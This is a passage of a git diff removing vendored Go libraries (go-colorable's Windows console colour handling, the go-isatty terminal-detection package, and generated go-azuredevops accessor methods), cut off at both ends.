(n-30)&1 != 0 { - attr |= foregroundRed - } - if (n-30)&2 != 0 { - attr |= foregroundGreen - } - if (n-30)&4 != 0 { - attr |= foregroundBlue - } - case n == 38: // set foreground color. - if i < len(token)-2 && (token[i+1] == "5" || token[i+1] == "05") { - if n256, err := strconv.Atoi(token[i+2]); err == nil { - if n256foreAttr == nil { - n256setup() - } - attr &= backgroundMask - attr |= n256foreAttr[n256] - i += 2 - } - } else { - attr = attr & (w.oldattr & backgroundMask) - } - case n == 39: // reset foreground color. - attr &= backgroundMask - attr |= w.oldattr & foregroundMask - case 40 <= n && n <= 47: - attr &= foregroundMask - if (n-40)&1 != 0 { - attr |= backgroundRed - } - if (n-40)&2 != 0 { - attr |= backgroundGreen - } - if (n-40)&4 != 0 { - attr |= backgroundBlue - } - case n == 48: // set background color. - if i < len(token)-2 && token[i+1] == "5" { - if n256, err := strconv.Atoi(token[i+2]); err == nil { - if n256backAttr == nil { - n256setup() - } - attr &= foregroundMask - attr |= n256backAttr[n256] - i += 2 - } - } else { - attr = attr & (w.oldattr & foregroundMask) - } - case n == 49: // reset foreground color. - attr &= foregroundMask - attr |= w.oldattr & backgroundMask - case 90 <= n && n <= 97: - attr = (attr & backgroundMask) - attr |= foregroundIntensity - if (n-90)&1 != 0 { - attr |= foregroundRed - } - if (n-90)&2 != 0 { - attr |= foregroundGreen - } - if (n-90)&4 != 0 { - attr |= foregroundBlue - } - case 100 <= n && n <= 107: - attr = (attr & foregroundMask) - attr |= backgroundIntensity - if (n-100)&1 != 0 { - attr |= backgroundRed - } - if (n-100)&2 != 0 { - attr |= backgroundGreen - } - if (n-100)&4 != 0 { - attr |= backgroundBlue - } - } - procSetConsoleTextAttribute.Call(uintptr(w.handle), uintptr(attr)) - } - } - case 'h': - var ci consoleCursorInfo - cs := buf.String() - if cs == "5>" { - procGetConsoleCursorInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&ci))) - ci.visible = 0 - procSetConsoleCursorInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&ci))) - } else if cs == "?25" { - procGetConsoleCursorInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&ci))) - ci.visible = 1 - procSetConsoleCursorInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&ci))) - } - case 'l': - var ci consoleCursorInfo - cs := buf.String() - if cs == "5>" { - procGetConsoleCursorInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&ci))) - ci.visible = 1 - procSetConsoleCursorInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&ci))) - } else if cs == "?25" { - procGetConsoleCursorInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&ci))) - ci.visible = 0 - procSetConsoleCursorInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&ci))) - } - case 's': - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - w.oldpos = csbi.cursorPosition - case 'u': - procSetConsoleCursorPosition.Call(uintptr(w.handle), *(*uintptr)(unsafe.Pointer(&w.oldpos))) - } - } - - return len(data), nil -} - -type consoleColor struct { - rgb int - red bool - green bool - blue bool - intensity bool -} - -func (c consoleColor) foregroundAttr() (attr word) { - if c.red { - attr |= foregroundRed - } - if c.green { - attr |= foregroundGreen - } - if c.blue { - attr |= foregroundBlue - } - if c.intensity { - attr |= foregroundIntensity - } - return -} - -func (c consoleColor) backgroundAttr() (attr word) { - if c.red { - attr |= backgroundRed - } - if c.green { - attr |= backgroundGreen - } - if c.blue { - attr |= backgroundBlue - } - if c.intensity { - attr |= backgroundIntensity - } - return -} - -var color16 = []consoleColor{ - {0x000000, false, false, false, false}, - {0x000080, false, false, true, false}, - {0x008000, false, true, false, false}, - {0x008080, false, true, true, false}, - {0x800000, true, false, false, false}, - {0x800080, true, false, true, false}, - {0x808000, true, true, false, false}, - {0xc0c0c0, true, true, true, false}, - {0x808080, false, false, false, true}, - {0x0000ff, false, false, true, true}, - {0x00ff00, false, true, false, true}, - {0x00ffff, false, true, true, true}, - {0xff0000, true, false, false, true}, - {0xff00ff, true, false, true, true}, - {0xffff00, true, true, false, true}, - {0xffffff, true, true, true, true}, -} - -type hsv struct { - h, s, v float32 -} - -func (a hsv) dist(b hsv) float32 { - dh := a.h - b.h - switch { - case dh > 0.5: - dh = 1 - dh - case dh < -0.5: - dh = -1 - dh - } - ds := a.s - b.s - dv := a.v - b.v - return float32(math.Sqrt(float64(dh*dh + ds*ds + dv*dv))) -} - -func toHSV(rgb int) hsv { - r, g, b := float32((rgb&0xFF0000)>>16)/256.0, - float32((rgb&0x00FF00)>>8)/256.0, - float32(rgb&0x0000FF)/256.0 - min, max := minmax3f(r, g, b) - h := max - min - if h > 0 { - if max == r { - h = (g - b) / h - if h < 0 { - h += 6 - } - } else if max == g { - h = 2 + (b-r)/h - } else { - h = 4 + (r-g)/h - } - } - h /= 6.0 - s := max - min - if max != 0 { - s /= max - } - v := max - return hsv{h: h, s: s, v: v} -} - -type hsvTable []hsv - -func toHSVTable(rgbTable []consoleColor) hsvTable { - t := make(hsvTable, len(rgbTable)) - for i, c := range rgbTable { - t[i] = toHSV(c.rgb) - } - return t -} - -func (t hsvTable) find(rgb int) consoleColor { - hsv := toHSV(rgb) - n := 7 - l := float32(5.0) - for i, p := range t { - d := hsv.dist(p) - if d < l { - l, n = d, i - } - } - return color16[n] -} - -func minmax3f(a, b, c float32) (min, max float32) { - if a < b { - if b < c { - return a, c - } else if a < c { - return a, b - } else { - return c, b - } - } else { - if a < c { - return b, c - } else if b < c { - return b, a - } else { - return c, a - } - } -} - -var n256foreAttr []word -var n256backAttr []word - -func n256setup() { - n256foreAttr = make([]word, 256) - n256backAttr = make([]word, 256) - t := toHSVTable(color16) - for i, rgb := range color256 { - c := t.find(rgb) - n256foreAttr[i] = c.foregroundAttr() - n256backAttr[i] = c.backgroundAttr() - } -} diff --git a/vendor/github.com/mattn/go-colorable/noncolorable.go b/vendor/github.com/mattn/go-colorable/noncolorable.go deleted file mode 100644 index 9721e16f4b..0000000000 --- a/vendor/github.com/mattn/go-colorable/noncolorable.go +++ /dev/null @@ -1,55 +0,0 @@ -package colorable - -import ( - "bytes" - "io" -) - -// NonColorable hold writer but remove escape sequence. -type NonColorable struct { - out io.Writer -} - -// NewNonColorable return new instance of Writer which remove escape sequence from Writer. -func NewNonColorable(w io.Writer) io.Writer { - return &NonColorable{out: w} -} - -// Write write data on console -func (w *NonColorable) Write(data []byte) (n int, err error) { - er := bytes.NewReader(data) - var bw [1]byte -loop: - for { - c1, err := er.ReadByte() - if err != nil { - break loop - } - if c1 != 0x1b { - bw[0] = c1 - w.out.Write(bw[:]) - continue - } - c2, err := er.ReadByte() - if err != nil { - break loop - } - if c2 != 0x5b { - continue - } - - var buf bytes.Buffer - for { - c, err := er.ReadByte() - if err != nil { - break loop - } - if ('a' <= c && c <= 'z') || ('A' <= c && c <= 'Z') || c == '@' { - break - } - buf.Write([]byte(string(c))) - } - } - - return len(data), nil -} diff --git a/vendor/github.com/mattn/go-isatty/.travis.yml b/vendor/github.com/mattn/go-isatty/.travis.yml deleted file mode 100644 index 5597e026dd..0000000000 --- a/vendor/github.com/mattn/go-isatty/.travis.yml +++ /dev/null @@ -1,13 +0,0 @@ -language: go -go: - - tip - -os: - - linux - - osx - -before_install: - - go get github.com/mattn/goveralls - - go get golang.org/x/tools/cmd/cover -script: - - $HOME/gopath/bin/goveralls -repotoken 3gHdORO5k5ziZcWMBxnd9LrMZaJs8m9x5 diff --git a/vendor/github.com/mattn/go-isatty/LICENSE b/vendor/github.com/mattn/go-isatty/LICENSE deleted file mode 100644 index 65dc692b6b..0000000000 --- a/vendor/github.com/mattn/go-isatty/LICENSE +++ /dev/null @@ -1,9 +0,0 @@ -Copyright (c) Yasuhiro MATSUMOTO - -MIT License (Expat) - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/github.com/mattn/go-isatty/README.md b/vendor/github.com/mattn/go-isatty/README.md deleted file mode 100644 index 1e69004bb0..0000000000 --- a/vendor/github.com/mattn/go-isatty/README.md +++ /dev/null @@ -1,50 +0,0 @@ -# go-isatty - -[![Godoc Reference](https://godoc.org/github.com/mattn/go-isatty?status.svg)](http://godoc.org/github.com/mattn/go-isatty) -[![Build Status](https://travis-ci.org/mattn/go-isatty.svg?branch=master)](https://travis-ci.org/mattn/go-isatty) -[![Coverage Status](https://coveralls.io/repos/github/mattn/go-isatty/badge.svg?branch=master)](https://coveralls.io/github/mattn/go-isatty?branch=master) -[![Go Report Card](https://goreportcard.com/badge/mattn/go-isatty)](https://goreportcard.com/report/mattn/go-isatty) - -isatty for golang - -## Usage - -```go -package main - -import ( - "fmt" - "github.com/mattn/go-isatty" - "os" -) - -func main() { - if isatty.IsTerminal(os.Stdout.Fd()) { - fmt.Println("Is Terminal") - } else if isatty.IsCygwinTerminal(os.Stdout.Fd()) { - fmt.Println("Is Cygwin/MSYS2 Terminal") - } else { - fmt.Println("Is Not Terminal") - } -} -``` - -## Installation - -``` -$ go get github.com/mattn/go-isatty -``` - -## License - -MIT - -## Author - -Yasuhiro Matsumoto (a.k.a mattn) - -## Thanks - -* k-takata: base idea for IsCygwinTerminal - - https://github.com/k-takata/go-iscygpty diff --git a/vendor/github.com/mattn/go-isatty/doc.go b/vendor/github.com/mattn/go-isatty/doc.go deleted file mode 100644 index 17d4f90ebc..0000000000 --- a/vendor/github.com/mattn/go-isatty/doc.go +++ /dev/null @@ -1,2 +0,0 @@ -// Package isatty implements interface to isatty -package isatty diff --git a/vendor/github.com/mattn/go-isatty/isatty_appengine.go b/vendor/github.com/mattn/go-isatty/isatty_appengine.go deleted file mode 100644 index 9584a98842..0000000000 --- a/vendor/github.com/mattn/go-isatty/isatty_appengine.go +++ /dev/null @@ -1,15 +0,0 @@ -// +build appengine - -package isatty - -// IsTerminal returns true if the file descriptor is terminal which -// is always false on on appengine classic which is a sandboxed PaaS. -func IsTerminal(fd uintptr) bool { - return false -} - -// IsCygwinTerminal() return true if the file descriptor is a cygwin or msys2 -// terminal. This is also always false on this environment. -func IsCygwinTerminal(fd uintptr) bool { - return false -} diff --git a/vendor/github.com/mattn/go-isatty/isatty_bsd.go b/vendor/github.com/mattn/go-isatty/isatty_bsd.go deleted file mode 100644 index 42f2514d13..0000000000 --- a/vendor/github.com/mattn/go-isatty/isatty_bsd.go +++ /dev/null @@ -1,18 +0,0 @@ -// +build darwin freebsd openbsd netbsd dragonfly -// +build !appengine - -package isatty - -import ( - "syscall" - "unsafe" -) - -const ioctlReadTermios = syscall.TIOCGETA - -// IsTerminal return true if the file descriptor is terminal. -func IsTerminal(fd uintptr) bool { - var termios syscall.Termios - _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, fd, ioctlReadTermios, uintptr(unsafe.Pointer(&termios)), 0, 0, 0) - return err == 0 -} diff --git a/vendor/github.com/mattn/go-isatty/isatty_linux.go b/vendor/github.com/mattn/go-isatty/isatty_linux.go deleted file mode 100644 index 7384cf9916..0000000000 --- a/vendor/github.com/mattn/go-isatty/isatty_linux.go +++ /dev/null @@ -1,18 +0,0 @@ -// +build linux -// +build !appengine,!ppc64,!ppc64le - -package isatty - -import ( - "syscall" - "unsafe" -) - -const ioctlReadTermios = syscall.TCGETS - -// IsTerminal return true if the file descriptor is terminal. -func IsTerminal(fd uintptr) bool { - var termios syscall.Termios - _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, fd, ioctlReadTermios, uintptr(unsafe.Pointer(&termios)), 0, 0, 0) - return err == 0 -} diff --git a/vendor/github.com/mattn/go-isatty/isatty_linux_ppc64x.go b/vendor/github.com/mattn/go-isatty/isatty_linux_ppc64x.go deleted file mode 100644 index 44e5d21302..0000000000 --- a/vendor/github.com/mattn/go-isatty/isatty_linux_ppc64x.go +++ /dev/null @@ -1,19 +0,0 @@ -// +build linux -// +build ppc64 ppc64le - -package isatty - -import ( - "unsafe" - - syscall "golang.org/x/sys/unix" -) - -const ioctlReadTermios = syscall.TCGETS - -// IsTerminal return true if the file descriptor is terminal. -func IsTerminal(fd uintptr) bool { - var termios syscall.Termios - _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, fd, ioctlReadTermios, uintptr(unsafe.Pointer(&termios)), 0, 0, 0) - return err == 0 -} diff --git a/vendor/github.com/mattn/go-isatty/isatty_others.go b/vendor/github.com/mattn/go-isatty/isatty_others.go deleted file mode 100644 index 9d8b4a5996..0000000000 --- a/vendor/github.com/mattn/go-isatty/isatty_others.go +++ /dev/null @@ -1,10 +0,0 @@ -// +build !windows -// +build !appengine - -package isatty - -// IsCygwinTerminal return true if the file descriptor is a cygwin or msys2 -// terminal. This is also always false on this environment. -func IsCygwinTerminal(fd uintptr) bool { - return false -} diff --git a/vendor/github.com/mattn/go-isatty/isatty_solaris.go b/vendor/github.com/mattn/go-isatty/isatty_solaris.go deleted file mode 100644 index 1f0c6bf53d..0000000000 --- a/vendor/github.com/mattn/go-isatty/isatty_solaris.go +++ /dev/null @@ -1,16 +0,0 @@ -// +build solaris -// +build !appengine - -package isatty - -import ( - "golang.org/x/sys/unix" -) - -// IsTerminal returns true if the given file descriptor is a terminal. -// see: http://src.illumos.org/source/xref/illumos-gate/usr/src/lib/libbc/libc/gen/common/isatty.c -func IsTerminal(fd uintptr) bool { - var termio unix.Termio - err := unix.IoctlSetTermio(int(fd), unix.TCGETA, &termio) - return err == nil -} diff --git a/vendor/github.com/mattn/go-isatty/isatty_windows.go b/vendor/github.com/mattn/go-isatty/isatty_windows.go deleted file mode 100644 index af51cbcaa4..0000000000 --- a/vendor/github.com/mattn/go-isatty/isatty_windows.go +++ /dev/null @@ -1,94 +0,0 @@ -// +build windows -// +build !appengine - -package isatty - -import ( - "strings" - "syscall" - "unicode/utf16" - "unsafe" -) - -const ( - fileNameInfo uintptr = 2 - fileTypePipe = 3 -) - -var ( - kernel32 = syscall.NewLazyDLL("kernel32.dll") - procGetConsoleMode = kernel32.NewProc("GetConsoleMode") - procGetFileInformationByHandleEx = kernel32.NewProc("GetFileInformationByHandleEx") - procGetFileType = kernel32.NewProc("GetFileType") -) - -func init() { - // Check if GetFileInformationByHandleEx is available. - if procGetFileInformationByHandleEx.Find() != nil { - procGetFileInformationByHandleEx = nil - } -} - -// IsTerminal return true if the file descriptor is terminal. -func IsTerminal(fd uintptr) bool { - var st uint32 - r, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, fd, uintptr(unsafe.Pointer(&st)), 0) - return r != 0 && e == 0 -} - -// Check pipe name is used for cygwin/msys2 pty. -// Cygwin/MSYS2 PTY has a name like: -// \{cygwin,msys}-XXXXXXXXXXXXXXXX-ptyN-{from,to}-master -func isCygwinPipeName(name string) bool { - token := strings.Split(name, "-") - if len(token) < 5 { - return false - } - - if token[0] != `\msys` && token[0] != `\cygwin` { - return false - } - - if token[1] == "" { - return false - } - - if !strings.HasPrefix(token[2], "pty") { - return false - } - - if token[3] != `from` && token[3] != `to` { - return false - } - - if token[4] != "master" { - return false - } - - return true -} - -// IsCygwinTerminal() return true if the file descriptor is a cygwin or msys2 -// terminal. -func IsCygwinTerminal(fd uintptr) bool { - if procGetFileInformationByHandleEx == nil { - return false - } - - // Cygwin/msys's pty is a pipe. - ft, _, e := syscall.Syscall(procGetFileType.Addr(), 1, fd, 0, 0) - if ft != fileTypePipe || e != 0 { - return false - } - - var buf [2 + syscall.MAX_PATH]uint16 - r, _, e := syscall.Syscall6(procGetFileInformationByHandleEx.Addr(), - 4, fd, fileNameInfo, uintptr(unsafe.Pointer(&buf)), - uintptr(len(buf)*2), 0, 0) - if r == 0 || e != 0 { - return false - } - - l := *(*uint32)(unsafe.Pointer(&buf)) - return isCygwinPipeName(string(utf16.Decode(buf[2 : 2+l/2]))) -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/LICENSE b/vendor/github.com/mcdafydd/go-azuredevops/LICENSE deleted file mode 100644 index cd22318bb8..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) for portions of this fork of go-azuredevops are held by Ben Selby, 2019. All other copyright for this project are held by David McPike, 2019. - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/mcdafydd/go-azuredevops/LICENSE.go-github b/vendor/github.com/mcdafydd/go-azuredevops/LICENSE.go-github deleted file mode 100644 index 7959bdc618..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/LICENSE.go-github +++ /dev/null @@ -1,28 +0,0 @@ -Copyright (c) 2013 The go-github AUTHORS. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/azuredevops-accessors.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/azuredevops-accessors.go deleted file mode 100644 index 8d3c414d17..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/azuredevops-accessors.go +++ /dev/null @@ -1,3704 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Code generated by gen-accessors; DO NOT EDIT. - -package azuredevops - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (a *AgentPoolQueue) GetID() int { - if a == nil || a.ID == nil { - return 0 - } - return *a.ID -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (a *AgentPoolQueue) GetLinks() map[string]Link { - if a == nil || a.Links == nil { - return map[string]Link{} - } - return *a.Links -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (a *AgentPoolQueue) GetName() string { - if a == nil || a.Name == nil { - return "" - } - return *a.Name -} - -// GetPool returns the Pool field. -func (a *AgentPoolQueue) GetPool() *TaskAgentPoolReference { - if a == nil { - return nil - } - return a.Pool -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (a *AgentPoolQueue) GetURL() string { - if a == nil || a.URL == nil { - return "" - } - return *a.URL -} - -// GetAllowedMappings returns the AllowedMappings field if it's non-nil, zero value otherwise. -func (b *Board) GetAllowedMappings() string { - if b == nil || b.AllowedMappings == nil { - return "" - } - return *b.AllowedMappings -} - -// GetCanEdit returns the CanEdit field if it's non-nil, zero value otherwise. -func (b *Board) GetCanEdit() bool { - if b == nil || b.CanEdit == nil { - return false - } - return *b.CanEdit -} - -// GetFields returns the Fields field. -func (b *Board) GetFields() *BoardFields { - if b == nil { - return nil - } - return b.Fields -} - -// GetIsValid returns the IsValid field if it's non-nil, zero value otherwise. -func (b *Board) GetIsValid() bool { - if b == nil || b.IsValid == nil { - return false - } - return *b.IsValid -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (b *Board) GetLinks() map[string]Link { - if b == nil || b.Links == nil { - return map[string]Link{} - } - return *b.Links -} - -// GetRevision returns the Revision field if it's non-nil, zero value otherwise. -func (b *Board) GetRevision() int { - if b == nil || b.Revision == nil { - return 0 - } - return *b.Revision -} - -// GetColumnType returns the ColumnType field if it's non-nil, zero value otherwise. -func (b *BoardColumn) GetColumnType() string { - if b == nil || b.ColumnType == nil { - return "" - } - return *b.ColumnType -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (b *BoardColumn) GetDescription() string { - if b == nil || b.Description == nil { - return "" - } - return *b.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (b *BoardColumn) GetID() string { - if b == nil || b.ID == nil { - return "" - } - return *b.ID -} - -// GetIsSplit returns the IsSplit field if it's non-nil, zero value otherwise. -func (b *BoardColumn) GetIsSplit() bool { - if b == nil || b.IsSplit == nil { - return false - } - return *b.IsSplit -} - -// GetItemLimit returns the ItemLimit field if it's non-nil, zero value otherwise. -func (b *BoardColumn) GetItemLimit() int { - if b == nil || b.ItemLimit == nil { - return 0 - } - return *b.ItemLimit -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *BoardColumn) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetColumnField returns the ColumnField field. -func (b *BoardFields) GetColumnField() *FieldReference { - if b == nil { - return nil - } - return b.ColumnField -} - -// GetDoneField returns the DoneField field. -func (b *BoardFields) GetDoneField() *FieldReference { - if b == nil { - return nil - } - return b.DoneField -} - -// GetRowField returns the RowField field. -func (b *BoardFields) GetRowField() *FieldReference { - if b == nil { - return nil - } - return b.RowField -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (b *BoardReference) GetID() string { - if b == nil || b.ID == nil { - return "" - } - return *b.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *BoardReference) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (b *BoardReference) GetURL() string { - if b == nil || b.URL == nil { - return "" - } - return *b.URL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (b *BoardRow) GetID() string { - if b == nil || b.ID == nil { - return "" - } - return *b.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *BoardRow) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetBuildNumber returns the BuildNumber field if it's non-nil, zero value otherwise. -func (b *Build) GetBuildNumber() string { - if b == nil || b.BuildNumber == nil { - return "" - } - return *b.BuildNumber -} - -// GetBuildNumberRevision returns the BuildNumberRevision field if it's non-nil, zero value otherwise. -func (b *Build) GetBuildNumberRevision() int { - if b == nil || b.BuildNumberRevision == nil { - return 0 - } - return *b.BuildNumberRevision -} - -// GetChangedDate returns the ChangedDate field if it's non-nil, zero value otherwise. -func (b *Build) GetChangedDate() string { - if b == nil || b.ChangedDate == nil { - return "" - } - return *b.ChangedDate -} - -// GetController returns the Controller field. -func (b *Build) GetController() *BuildController { - if b == nil { - return nil - } - return b.Controller -} - -// GetDefinition returns the Definition field. -func (b *Build) GetDefinition() *BuildDefinition { - if b == nil { - return nil - } - return b.Definition -} - -// GetDeleted returns the Deleted field if it's non-nil, zero value otherwise. -func (b *Build) GetDeleted() bool { - if b == nil || b.Deleted == nil { - return false - } - return *b.Deleted -} - -// GetDeletedBy returns the DeletedBy field. -func (b *Build) GetDeletedBy() *IdentityRef { - if b == nil { - return nil - } - return b.DeletedBy -} - -// GetDeletedDate returns the DeletedDate field if it's non-nil, zero value otherwise. -func (b *Build) GetDeletedDate() string { - if b == nil || b.DeletedDate == nil { - return "" - } - return *b.DeletedDate -} - -// GetDeletedReason returns the DeletedReason field if it's non-nil, zero value otherwise. -func (b *Build) GetDeletedReason() string { - if b == nil || b.DeletedReason == nil { - return "" - } - return *b.DeletedReason -} - -// GetFinishTime returns the FinishTime field if it's non-nil, zero value otherwise. -func (b *Build) GetFinishTime() string { - if b == nil || b.FinishTime == nil { - return "" - } - return *b.FinishTime -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (b *Build) GetID() int { - if b == nil || b.ID == nil { - return 0 - } - return *b.ID -} - -// GetKeepForever returns the KeepForever field if it's non-nil, zero value otherwise. -func (b *Build) GetKeepForever() bool { - if b == nil || b.KeepForever == nil { - return false - } - return *b.KeepForever -} - -// GetLastChangedBy returns the LastChangedBy field. -func (b *Build) GetLastChangedBy() *IdentityRef { - if b == nil { - return nil - } - return b.LastChangedBy -} - -// GetLogs returns the Logs field. -func (b *Build) GetLogs() *BuildLogReference { - if b == nil { - return nil - } - return b.Logs -} - -// GetOrchestrationPlan returns the OrchestrationPlan field. -func (b *Build) GetOrchestrationPlan() *TaskOrchestrationPlanReference { - if b == nil { - return nil - } - return b.OrchestrationPlan -} - -// GetParams returns the Params field if it's non-nil, zero value otherwise. -func (b *Build) GetParams() string { - if b == nil || b.Params == nil { - return "" - } - return *b.Params -} - -// GetPriority returns the Priority field if it's non-nil, zero value otherwise. -func (b *Build) GetPriority() string { - if b == nil || b.Priority == nil { - return "" - } - return *b.Priority -} - -// GetProject returns the Project field. -func (b *Build) GetProject() *TeamProjectReference { - if b == nil { - return nil - } - return b.Project -} - -// GetQuality returns the Quality field if it's non-nil, zero value otherwise. -func (b *Build) GetQuality() string { - if b == nil || b.Quality == nil { - return "" - } - return *b.Quality -} - -// GetQueue returns the Queue field. -func (b *Build) GetQueue() *AgentPoolQueue { - if b == nil { - return nil - } - return b.Queue -} - -// GetQueuePosition returns the QueuePosition field if it's non-nil, zero value otherwise. -func (b *Build) GetQueuePosition() int { - if b == nil || b.QueuePosition == nil { - return 0 - } - return *b.QueuePosition -} - -// GetQueueTime returns the QueueTime field if it's non-nil, zero value otherwise. -func (b *Build) GetQueueTime() string { - if b == nil || b.QueueTime == nil { - return "" - } - return *b.QueueTime -} - -// GetRepository returns the Repository field. -func (b *Build) GetRepository() *BuildRepository { - if b == nil { - return nil - } - return b.Repository -} - -// GetResult returns the Result field if it's non-nil, zero value otherwise. -func (b *Build) GetResult() string { - if b == nil || b.Result == nil { - return "" - } - return *b.Result -} - -// GetRetainedByRelease returns the RetainedByRelease field if it's non-nil, zero value otherwise. -func (b *Build) GetRetainedByRelease() bool { - if b == nil || b.RetainedByRelease == nil { - return false - } - return *b.RetainedByRelease -} - -// GetSourceBranch returns the SourceBranch field if it's non-nil, zero value otherwise. -func (b *Build) GetSourceBranch() string { - if b == nil || b.SourceBranch == nil { - return "" - } - return *b.SourceBranch -} - -// GetStartTime returns the StartTime field if it's non-nil, zero value otherwise. -func (b *Build) GetStartTime() string { - if b == nil || b.StartTime == nil { - return "" - } - return *b.StartTime -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (b *Build) GetStatus() string { - if b == nil || b.Status == nil { - return "" - } - return *b.Status -} - -// GetTriggerBuild returns the TriggerBuild field. -func (b *Build) GetTriggerBuild() *Build { - if b == nil { - return nil - } - return b.TriggerBuild -} - -// GetTriggerInfo returns the TriggerInfo field. -func (b *Build) GetTriggerInfo() *TriggerInfo { - if b == nil { - return nil - } - return b.TriggerInfo -} - -// GetURI returns the URI field if it's non-nil, zero value otherwise. -func (b *Build) GetURI() string { - if b == nil || b.URI == nil { - return "" - } - return *b.URI -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (b *Build) GetURL() string { - if b == nil || b.URL == nil { - return "" - } - return *b.URL -} - -// GetVersion returns the Version field if it's non-nil, zero value otherwise. -func (b *Build) GetVersion() string { - if b == nil || b.Version == nil { - return "" - } - return *b.Version -} - -// GetCreatedDate returns the CreatedDate field if it's non-nil, zero value otherwise. -func (b *BuildController) GetCreatedDate() string { - if b == nil || b.CreatedDate == 